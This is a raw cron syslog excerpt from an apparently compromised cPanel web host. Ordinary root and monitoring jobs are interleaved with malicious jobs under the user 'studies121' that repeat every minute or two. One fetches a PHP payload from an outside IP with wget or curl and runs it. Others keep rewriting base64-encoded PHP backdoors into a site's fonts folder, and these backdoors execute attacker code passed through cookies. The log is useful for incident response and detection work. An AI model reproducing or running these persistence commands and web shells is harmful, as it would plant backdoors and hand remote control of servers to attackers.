Sep  4 22:18:01 ip-184-168-122-23 CROND[29440]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:18:01 ip-184-168-122-23 CROND[29442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:18:01 ip-184-168-122-23 CROND[29441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:18:01 ip-184-168-122-23 CROND[29443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:18:01 ip-184-168-122-23 CROND[29444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:19:01 ip-184-168-122-23 CROND[29618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:19:01 ip-184-168-122-23 CROND[29617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:19:01 ip-184-168-122-23 CROND[29619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:19:01 ip-184-168-122-23 CROND[29616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:20:01 ip-184-168-122-23 CROND[29704]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:20:01 ip-184-168-122-23 CROND[29705]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:20:01 ip-184-168-122-23 CROND[29708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:20:01 ip-184-168-122-23 CROND[29710]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 22:20:01 ip-184-168-122-23 CROND[29706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:20:01 ip-184-168-122-23 CROND[29709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:20:01 ip-184-168-122-23 CROND[29707]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 22:20:01 ip-184-168-122-23 CROND[29712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:20:01 ip-184-168-122-23 CROND[29711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:21:01 ip-184-168-122-23 CROND[29801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:21:01 ip-184-168-122-23 CROND[29803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:21:01 ip-184-168-122-23 CROND[29802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:21:01 ip-184-168-122-23 CROND[29805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:22:01 ip-184-168-122-23 CROND[29881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:22:01 ip-184-168-122-23 CROND[29885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:22:01 ip-184-168-122-23 CROND[29884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:22:01 ip-184-168-122-23 CROND[29882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:22:01 ip-184-168-122-23 CROND[29883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:23:01 ip-184-168-122-23 CROND[29966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:23:01 ip-184-168-122-23 CROND[29967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:23:01 ip-184-168-122-23 CROND[29969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:23:01 ip-184-168-122-23 CROND[29968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:24:01 ip-184-168-122-23 CROND[30146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:24:01 ip-184-168-122-23 CROND[30145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:24:01 ip-184-168-122-23 CROND[30148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:24:01 ip-184-168-122-23 CROND[30151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:24:01 ip-184-168-122-23 CROND[30153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:25:01 ip-184-168-122-23 CROND[30259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:25:01 ip-184-168-122-23 CROND[30256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:25:01 ip-184-168-122-23 CROND[30257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:25:01 ip-184-168-122-23 CROND[30258]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 22:25:01 ip-184-168-122-23 CROND[30261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:25:01 ip-184-168-122-23 CROND[30260]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:25:01 ip-184-168-122-23 CROND[30262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:26:01 ip-184-168-122-23 CROND[30347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:26:01 ip-184-168-122-23 CROND[30348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:26:01 ip-184-168-122-23 CROND[30346]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:26:01 ip-184-168-122-23 CROND[30350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:26:01 ip-184-168-122-23 CROND[30349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:27:01 ip-184-168-122-23 CROND[30434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:27:01 ip-184-168-122-23 CROND[30436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:27:01 ip-184-168-122-23 CROND[30437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:27:01 ip-184-168-122-23 CROND[30435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:28:01 ip-184-168-122-23 CROND[30533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:28:01 ip-184-168-122-23 CROND[30534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:28:01 ip-184-168-122-23 CROND[30537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:28:01 ip-184-168-122-23 CROND[30540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:28:01 ip-184-168-122-23 CROND[30541]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:29:01 ip-184-168-122-23 CROND[30620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:29:01 ip-184-168-122-23 CROND[30622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:29:01 ip-184-168-122-23 CROND[30621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:29:01 ip-184-168-122-23 CROND[30623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:30:01 ip-184-168-122-23 CROND[30712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
